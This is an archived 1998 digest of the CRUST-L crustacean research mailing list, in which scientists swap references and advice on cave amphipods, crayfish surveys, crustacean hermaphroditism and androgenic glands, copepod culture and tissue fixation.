again and best wishes to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Murat Ozbek"" Date: Mon, 30 Mar 1998 10:37:04 +2 TUR Subject: CRUST-L: Blind Amphipods Dear Crust'lers, Could anybody gime me the names of papers related with Blind Amphipods living in European inland waters(in caves and the others). Thanks for your helps! Greetings from Turkiye :-) Murat OZBEK Research Assistant Ege University Fishery Faculty Hydrobiology Section 35100- Bornova- IZMIR- TURKIYE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #129 ***************************** >From owner-crust-l Tue Mar 31 08:05:42 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id HAA20456 for crust-l-digest-outgoing; Tue, 31 Mar 1998 07:46:07 -0500 Date: Tue, 31 Mar 1998 07:46:07 -0500 Message-Id: <199803311246.HAA20456@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #130 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 4 crust-l-digest Tuesday, 31 March 1998 Volume 01 : Number 130 CRUST-L: Re: Speleologists, cave locations & white elephant (?) CRUST-L: [Fwd: crayfish survey] CRUST-L: Re: Linnaeus Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: reference by Stella CRUST-L: algal species for culturing freshwater copepods Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: The Shape of Life CRUST-L: Light Microscopy. CRUST-L: Re: Hermaphroditism in parastacid crayfish Re: CRUST-L: Re: Hermaphroditism in parastacid crayfish Re: CRUST-L: Hermaphrodite discussion (FW shrimps) ---------------------------------------------------------------------- From: Grupo de Cultivo de Bivalvos Date: Mon, 30 Mar 1998 08:07:12 -0500 Subject: CRUST-L: Re: Speleologists, cave locations & white elephant (?) Well... Isla de San Andr=E9s (Archip=E9lago de San Andr=E9s y Providencia= , Colombia) exists near Nicaraguan coast as it was all ready said, and there's a ""Morgan Cave"" (Cueva del Pirata Morgan) at this site. I don't know any ""Cueva del Elefante Blanco"" (""Cave of theWhite Elephant"" is right, Wulf) at this island, but of course, there must be lots of other ""Isla de San Andr=E9s"" around the world, since spanish conquerors loved t= o use names of saints when naming places they ""discovered"". Best regards, Alonso ___________________________________________ Grupo de Cultivo de Bivalvos Instituto de Investigaciones Marinas y Costeras, Invemar A.A. 1016 Santa Marta, Colombia Tels: (+57-54) 211 380 - 214 474 - 214 775 (ext. 129) Fax: (+57-54) 211 377 Correo-e: bivalvos@santamarta.cetcol.net.co Wulf Kobusch escribi=F3: > Hello CRUSTLers, > > May be that some speleologists among you can help me with the > following peculiar problem: > > I have some cave crustaceans here from the following > locations: > 1) Shimoni Caves > 2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres > This is all information I have about the locations. > In my International Atlas (Rand McNally) I could not find THIS > ""Isla San Andres"": where is this Island ? Morgan's Cave and the Cueva > Elefanta Blanco are on this Island (?) [by the way, is this right, > the name is: the ""cave of the white elephant""??? ] > What is the location of the ""Shimoni Caves"" ? > I just want to complete a table with ""material"" with more details, > i.e. names of the countries. So I would be very grateful if you could > give me some hints. > > Best regards > > Wulf > > *********************************************************** > Wulf Kobusch > Ruhr Universitaet Bochum > Lehrstuhl fuer Spezielle Zoologie > Gebaeude ND 05 / 776 > Universitaetsstrasse 150 > 44801 Bochum > GERMANY > > phone: +49/(0)234-700-5577 or -4563 > fax: +49/(0)234-7094-114 > e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > > *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cquero@redestb.es Date: Wed, 30 Mar 1994 14:27:14 +0100 Subject: CRUST-L: [Fwd: crayfish survey] Message-ID: <2D941CD5.1317@redestb.es> Date: Sat, 26 Mar 1994 12:30:29 +0100 From: cquero@redestb.es Reply-To: cquero@redestb.es X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Crust-l@vims.edu Subject: crayfish survey Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi there co-listers, I�m hoping to do some surveying for freshwater crayfish in some streams near Barcelona in Spain. The chances are that, if present, the populations are likely to be at rather low densities. Can anyone please advise me on the best way of surveying (on a presence/absence basis) in such situations in order to assess their distribution. So far the most likely option seems to be simply looking under stones etc. but I'm not familiar with working with this group of animals. The following information might help in the election of a method: 1) The aim is to locate the native species Austrapotamobius pallipes but it's possible that other non-native species such as Procambarus clarkii may also be present. 2) The area is quite mountainous(under 1000m and generally calcareous conglomerate) characterized by small streams prone to summer droughts which often leaves the streams as a broken series of isolated pools up to 1m deep. 3) The water level is generally low but can increase dramatically during heavy rains which can ocasionally produce catastrophic floods, the last such episode was in the autumn of 1994. Any advice, or lit. refs. on the matter will be most welcome. Thanks in advance, Se�n Cahill, cquero@redestb.es =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Zen Faulkes"" Date: Mon, 30 Mar 1998 09:14:32 EST Subject: CRUST-L: Re: Linnaeus Hello, From: P.J.F. Davie > I was recently told that Linne (with e acute) was the > real spelling for Linnaeus. His students latinised his name in > recognition of his authority, but as this is neither necessary nor > consistent with other authors' names today, then Linne should be used > in preference. Is this right? I must admit to never really having > questioned it too closely before. Is there a consensus? There was a discussion of this recently on sci.bio.systematics. I believe it was something like this: Yes, Linne was his real name, but even he Latinised it to Linnaeus. His own publications all say, ""Linnaeus,"" I think. As he clearly *chose* to publish under a Latinised name for scholarly work (*), and given the retreival problems when you list a reference using a ""corrected"" name that doesn't appear in the original publications, I think we'd best stick to using Linnaeus. I'm not even going to touch a concurrent debate that went on in the newsgroup at the time: whether or not there should be a ligature joining the ""ae"" in his name. (*) I know I get mighty peeved when people ""fix"" my name by using my first given name, rather than my preferred middle given name (Zen). Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keith Crandall Date: Mon, 30 Mar 1998 09:24:07 -0700 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) >We have published an article in the 1998 McGRAW-HILL yearbook of Scince and >Technology in which we have described a case of nonfunctional hermaphroditism >in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have >described >cases in this crayfish with both male and female openings. Indeed, the crayfish literature is full of references to hermaphroditism in many species. Here are a few. For a complete listing through 1988, search the Smithsonian Crayfish Bibliography with the keyword hermaphroditism at: gopher://nmnhgoph.si.edu/77/.index/crayfish Hay, W. P. 1905. Instances of hermaphroditism in crayfishes. Smithsonian Miscellaneous Collections 48: 222-228. Mason, J. C. 1965. Female Pacifastacus (Astacidae) with a male secondary sex characteristic. The American Midland Naturalist 73: 501. Penn, G. H. 1957. Aberrant secondary sex characters in the crawfishes Cambarellus shufeldtii (Faxon) and Procambarus dupratzi Penn. Transactions of the American Microscopical Society 76: 93-95. Turner, C. L. 1935. The aberrant secondary sex characters of the crayfishes of the genus Cambarus. The American Midland Naturalist 16: 863-882. Cheers, Keith ========================= Dr. Keith A. Crandall 574 Widtsoe Building Department of Zoology Brigham Young University Provo, UT 84602-5255 phone: (801) 378-3495 FAX: (801) 378-7423 keith_crandall@byu.edu ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""P. Castro"" Date: Mon, 30 Mar 1998 11:28:03 -0800 (PST) Subject: CRUST-L: reference by Stella Dear friends/cari amici: I am searching for a reference from Italy: Stella, E. 1953. Crostacei decapodi e stomatopodi. Spedizione subacquea italiana nel Mare Rosso. Rivista Biologica Coloniale, vol. 13: 15-70. I only need to check out if species of Trapezia are mentioned in the article. Thank you very much/grazie tante, Peter/Pedro Castro **************************************** P. Castro, Ph.D. Biological Sciences Department California State Polytechnic University Pomona, CA 91768-4032, U.S.A. e-mail: pcastro@csupomona.edu http://www.csupomona.edu/biology/ Phone - voice mail: (909)869-4069 Fax: (909)869-4078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carol Eunmi Lee Date: Mon, 30 Mar 1998 13:43:51 -0800 (PST) Subject: CRUST-L: algal species for culturing freshwater copepods I have a question regarding culturing freshwater copepods. I have a population of Eurytemora affinis, which is primarily a brackish to hypersaline species, but has invaded fresh water. I am growing the freshwater populations and would like to feed them freshwater algae to avoid introducing salts to the culture. I have been feeding them Chlamydomonas reinhardii but their growth rates seem slower than when I feed them marine Rhodomonas sp. I would like suggestions on what freshwater algal species have been successfully used for culturing copepods. I would like to avoid diatoms, and would like something that the nauplii (100 microns) can also feed on. Thank you! Carol __________________________________________________________________________ Carol Eunmi Lee Marine Biology Research Division 0202 Scripps Institution of Oceanography University of California, San Diego La Jolla, CA 92093-0202 carolee@complex.ucsd.edu Lab: 619) 534-7827 Fax: 619) 534-7313 Home: 619) 459-4767 __________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Mon, 30 Mar 1998 13:26:08 -1000 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) Unfortunately, *most* examples of hermaphroditism in crayfish literature are rare and anomolous instances. The word ""aberrant"" was used in many of those paper titles. I'd like to look more at Parastracid (sp?) papers to see if the trend is the same. Physiologically, it is reasonable to see a change in crustacean sex from male to female. Charniaux-Cotton (CC) established that removal of androgenic glands (AG) from males usually results in feminization to some extent. This suggests that damage to the androgenic gland (be it from physical or parasite damage, or a developmental error) could result in feminization to some degree. I'm not sure that this exends to having 2 sets of gonoducts for normally gonochoristic animals. CC also concluded that the absence of the AG during development resulted in near complete feminization. So without the AG, the default developmental path is female. In protandrous species (Lysmata seticaudata) CC concluded that the AG doesn't develop until some germ tissue is feminized. The AG later appears and arrests oogenesis (in previt, I think), masculinizing the rest of the gonad. When these animals change sex, the AG deteriorates and supposedly disappears. Inhibition of vitellogenesis ends, and male function disappears. Since much of CC's work was on one shrimp and a gammarid, it would be interesting to verify these phenomena in other hermaphrodites. [For Lysmata amboinensis (first protandrous, then simultaneous) I don't find an AG in female-phase animals. So it is unclear how they maintain male function.] So hermaphrodite crayfish specimens having functional female (but not male) reproduction follows what CC expected, if you think aobut it. Just my humble ramblings, - -Curt On Mon, 30 Mar 1998, Keith Crandall wrote: > >We have published an article in the 1998 McGRAW-HILL yearbook of Scince and > >Technology in which we have described a case of nonfunctional hermaphroditism > >in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have > >described >cases in this crayfish with both male and female openings. > Indeed, the crayfish literature is full of references to hermaphroditism > in many species. Here are a few. For a complete listing through 1988, search > the Smithsonian Crayfish Bibliography with the keyword hermaphroditism at: > gopher://nmnhgoph.si.edu/77/.index/crayfish > > Hay, W. P. 1905. Instances of hermaphroditism in crayfishes. Smithsonian > > Miscellaneous Collections 48: 222-228. > Mason, J. C. 1965. Female Pacifastacus (Astacidae) with a male secondary sex > characteristic. The American Midland Naturalist 73: 501. > Penn, G. H. 1957. Aberrant secondary sex characters in the crawfishes > Cambarellus shufeldtii (Faxon) and Procambarus dupratzi Penn. > Transactions of the American Microscopical Society 76: 93-95. > Turner, C. L. 1935. The aberrant secondary sex characters of the crayfishes of > the genus Cambarus. The American Midland Naturalist 16: 863-882. > > Cheers, > > Keith > > > ========================= > Dr. Keith A. Crandall > 574 Widtsoe Building > Department of Zoology > Brigham Young University > Provo, UT 84602-5255 > phone: (801) 378-3495 > FAX: (801) 378-7423 > keith_crandall@byu.edu > ========================= > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 30 Mar 1998 17:17:29 -0800 Subject: CRUST-L: The Shape of Life TimesHello Crust-L people, I am a researcher for a documentary series on invertebrates called the Shape of Life. Some of you may remember Pat Iampietro who also works with us but is no longer on Arthropod duty. Pat has given me the great story leads he received on this list. I wanted to post this update on the progress of the project and see if there is any new news people wanted to share. Here is a quick review of the Shape of Life Project. Sea Studios Foundation is working in cooperation with National Geographic television to create an eight hour series for public television called The Shape of Life. The series features each major animal phylum in a hour long exploration of the group. The themes of the program are form and function, evolution, biomechanics, and body plans. The series will use lots of high quality footage, on camera scientists and animation to teach biology in an engaging way. At this point we are still writing and will be going into production in late summer. Research will continue throughout production. I would appreciate any input regarding recent or ongoing research, interesting critters w/ neat & important adaptations, story ideas, individual researchers/contacts, etc. If you, or someone you know, has an interesting crustacean story to tell let us know! Please drop by our website if you'd like to find out more about Sea Studios and the Shape of Life: http://www.seastudios.com Thank you for your time & I look forward to hearing from you! Anna P.S. Please respond directly to my email address: annafitch@seastudios.com Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Stephen G. Dunbar"" Date: Tue, 31 Mar 1998 12:25:14 Subject: CRUST-L: Light Microscopy. Hi Crust-Lers, I'm working on physiological changes in crabs due to various stresses (Temp./ Salinity) induced in the lab. I am wanting to do a preliminary survey of tissues (gill, GI, renal) before and after stresses by light microscopy and would like references and requirements for fixing tissue in preparation for light microscope work. 1) What is the procedure for fixing such tissue? 2) Is there a primary fixative that specimens can be stored in indefinately? 3) What stain is recommended for such work? Thanks in advance for all the help I know I will receive. Sincerely, Steve Stephen G. Dunbar Central Queensland University Department of Biology CQ Mail Centre, QLD 4702 Email: dunbars@topaz.cqu.edu.au Ph: 0749-309-647 Fax: 0749-309-209 Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Tom McRae Date: Tue, 31 Mar 1998 16:01:51 +1000 Subject: CRUST-L: Re: Hermaphroditism in parastacid crayfish Hello all, I spent a bit of time trying to induce sex reversal of normal _Cherax destructor_ by removal of the androgenic gland from males. Actually what I did was a vasectomy with concurrent remvoval of the fifth coxa and leg, including the male gonopores, on the assumption that the AG was closely associated with the vas deferens or the musclature in the coxae. The results indicated that no gonad inversion occurred and no regeneration of the genital papillae occurred, leading me to believe that the operation did include a successful andrectomy. I do have some remaining questions though about the role of the AG. It seems to be necessary to maintain the presence of the genital papillae but is not necessary to induce their formation in the first place. Thus the maleness of the animal is not dependent on the AG (the animals are sexually differentiated before the AG has developed) but the maintenance of the form of the exoskeleton is. The vas deferens did regenerate normally; only the external form was altered so that the operated males became ""neutered"". Tom. Tom McRae Ecology and Environment Deakin University, Warrnambool Campus P O Box 423, Warrnambool, Vic. 3280 Australia. Ph: + 61 (0)3 55 633 461 Fax: + 61 (0)3 55 633 462 E-mail: mcraet@deakin.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Tue, 31 Mar 1998 02:06:50 -1000 Subject: Re: CRUST-L: Re: Hermaphroditism in parastacid crayfish On Mon, 30 Mar 1998, Tom McRae wrote: > I spent a bit of time trying to induce sex reversal of normal _Cherax > destructor_ by removal of the androgenic gland from males. Actually what I > did was a vasectomy with concurrent remvoval of the fifth coxa and leg, > including the male gonopores, on the assumption that the AG was closely > associated with the vas deferens or the musclature in the coxae. The > results indicated that no gonad inversion occurred and no regeneration of > the genital papillae occurred, leading me to believe that the operation did > include a successful andrectomy. Interesting experiment! >From the anatomical illustrations I have, I'm not convinced that you got entire AG in your surgery. The AG is internal, just before the terminal ampullae. From your description, I wouldn't be confident you got it. In an organism as large as a crayfish, it (the AG) should be easy to observe in plain dissections. Is (was) it possible to dissect male gonoducts and look for the AG first? You could even embed the terminal portion and look histologically. It just seems that you should be able to see the structure in large crusties. However, I don't work with crayfish, so... BTW, what is the ""genital papillae""? I've seen this term used frequently in fish, but have yet to see it used for crustaceans. Do you mean the terminal ampullae of the sperm duct? > I do have some remaining questions though about the role of the AG. It > seems to be necessary to maintain the presence of the genital papillae but > is not necessary to induce their formation in the first place. Thus the > maleness of the animal is not dependent on the AG (the animals are sexually > differentiated before the AG has developed) but the maintenance of the form > of the exoskeleton is. The vas deferens did regenerate normally; only the > external form was altered so that the operated males became ""neutered"". Don't confuse development and maintenance. :-) I believe that most crustaceans have a puberty molt where external sex charact appear. This is apparently AFTER the differentiation of the gonad. If there is no AG during *development*, Charniaux Cotton claimed that there would be *no* masculinization of the gonad. Some factor that the AG produces is responsible for this. The AG may not be responsible for the maintenance of all portions of the gonad, but it is apparently necessary for development of maleness. The explanation for protandrous species is that the AG is not active/formed until some of the germ cells of the gonad begin to differentiate towards a female pathway. Those female cells are arrested in development and won't do much more until the AG shuts down. Masculinization appears to be a complex process and may vary with the species. Certainly, more that the AG could be involved. It's possible that your species is more fixed in the male pathway. Perhaps the AG develops much faster in gonochoristic species, narrowing that window in time for feminization of any part of the gonad. I may have mislead you (or others) in my general description. I was paraphrasing from the stack of papers in my file by CC and others. I'm not sure that the male gonopore necessarily dissapears in protandrous species. However, there is frequently a change in the pleopod structure. (Appendix masculina disappears, pleopods get broader, more ovigerous hairs...) The presence of AG early in development is certainly key in maturation as a male individual. However, there is evidence of the AG's masculinization of the ""brain"" (eyestalk or y organ?) from CC and others' work. One paper on Lysmata seticaudata suggested that spermatogenesis in female-phase individuals did continue, but that those animals were not able to mate as males. This suggests that the reversal is not complete. Grafted AG's in female-phase shrimp usually resulted in the cessation oogenesis, and masculinization. The large body of work on ""castrator parasites"" (blatant plug for Jeff Shields!) of crustaceans suggests that the degree of feminisation of depends on the age of the host. The younger the host, the more dramatic effects by the castrator. This suggests decreased plasticity with age in those species. My overall impression is that some species are more ""plastic"" than others in the potential to change from male to female sex. For some, the removal/ablation/inhibition of the androgenic gland itself may be enough to cause sex reversal of males. For others, it may have an effect on secondary sex characteristics (appendix masculina), but not on gonad. Clearly there needs to be lots more work on this, and hermaphroditic species are ideal starting points. Crustacean reproductive endocrinology is an area that needs much further study, as well. For example, there is still controversy (last I checked) over what the AG hormone actually is. I think it was Hasegawa who recently (95?) published a paper on the isolation of AG hormone, and suggested that a species-specific assay for it was possible. However, when I wrote her for more details, she explained that they had made a mistake. The compound they had isolated was not AG hormone. Back to square one. It would be nice if the picture was as clear as I had painted it orginally. I apologize if I mislead anyone. - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wdaniels@dsc.edu Date: Tue, 31 Mar 98 07:36:29 -0500 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) - --- On Mon, 30 Mar 1998 13:26:08 -1000 Curt Fiedler wrote: Unfortunately, *most* examples of hermaphroditism in crayfish literature are rare and anomolous instances. The word ""aberrant"" was used in many of those paper titles.... Physiologically, it is reasonable to see a change in crustacean sex from male to female. Charniaux-Cotton (CC) established that removal of androgenic glands (AG) from males usually results in feminization to some extent. ... Just my humble ramblings, - -Curt ... - ---------------End of Original Message----------------- Curt, Although these are your humble ramblings, they are accurate. The aberrations reported in crayfish and other decapods are sometimes the results of physiological damage to the androgenic glands in males. These can be due to parasitic damage or other causes. The norm for these is to be male if the androgenic gland primordia is present and female if not. Bill - -------------------------------------------------------- Bill Daniels Research Assistant Professor/ Extension Specialist, Aquaculture 1200 N. Dupont Hwy. Dept. of Agriculture & Natural Resources Delaware State University Dover, DE 19901-2277 E-mail: wdaniels@dsc.edu Date: 03/31/98 Time: 07:36:30 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #130 ***************************** >From owner-crust-l Wed Apr 1 05:56:57 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id FAA16596 for crust-l-digest-outgoing; Wed, 1 Apr 1998 05:37:34 -0500 Date: Wed, 1 Apr 1998 05:37:34 -0500 Message-Id: <199804011037.FAA16596@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #131 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 5 crust-l-digest Wednesday, 1 April 1998 Volume 01 : Number 131 Re: CRUST-L: Hello! RE: CRUST-L: Blind Amphipods Re: CRUST-L: Hello! Re: CRUST-L: Light Microscopy. CRUST-L: Blind amphipod papers CRUST-L: Hermaphroditism in Parastacus CRUST-L: Ucides cordatus researchers CRUST-L: Hello there! ---------------------------------------------------------------------- From: edupre@SOCOMPA.CECUN.UCN.CL (Mag. Enrique Dupre M.) Date: Tue, 31 Mar 1998 06:16:59 -0400 Subject: Re: CRUST-L: Hello! Dear Leticia: I work with shrimp and lobster larvae. I am preparing a paper to publishe. I have little information about temperature embrionic development rates, but I have no information about temperature larval development rates. Would you please send me the information that you will receive from the crustacea- list? I will appreciate it so much. Here there are some paper that could be usefull: 1. Brandford, J.R. (1978). Incubation period for the lobster Homarus gammarus at various temperatures. Mar. Biol., 47: 363-368. 2. Perkins, H. 1972. Development rates at various temperatures of embryos of the northern lobster (Homarus americanus). Fishery Bulletin US., 70: 95-99. 3. Wear, R.C. (1974). Incubation in british decapod crustacea and the effect of temperature on the rates and success of embryonic development. Journal of Marine Biology Association of the United King dom, 54: 745-762. 4. Dupre, E., Bellolio, G. y Lohrmann, K. (1992). Desarrollo embrionario del camaron de roca (Rhynchocinetes typus, H. Milne Edwards 1837) en condiciones de laboratorio. Revista Chilena de Historia Natural, 65:435-442. Thanks in advances Enrique Dupre Coquimbo, Chile - ---------------------------------------------------------------------------- - ----------- >Hi Crustlers! > >I'm looking for temperature development rates in decapod larvae, >particularly brachyuran. If you know any papers in relation to this I'd >really appreciate it. > >Thank you! > >leticia Merin - ---------------------------------------------------------------------------- - ------------ M.Sc. Enrique Dupre Lab. Biol. de la Reprod. Fac. Ciencias del Mar Universidad Catolica del Norte, Coquimbo, Chile Fax: 5651-311287 E-Mail: edupre@socompa.cecun.ucn.cl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message 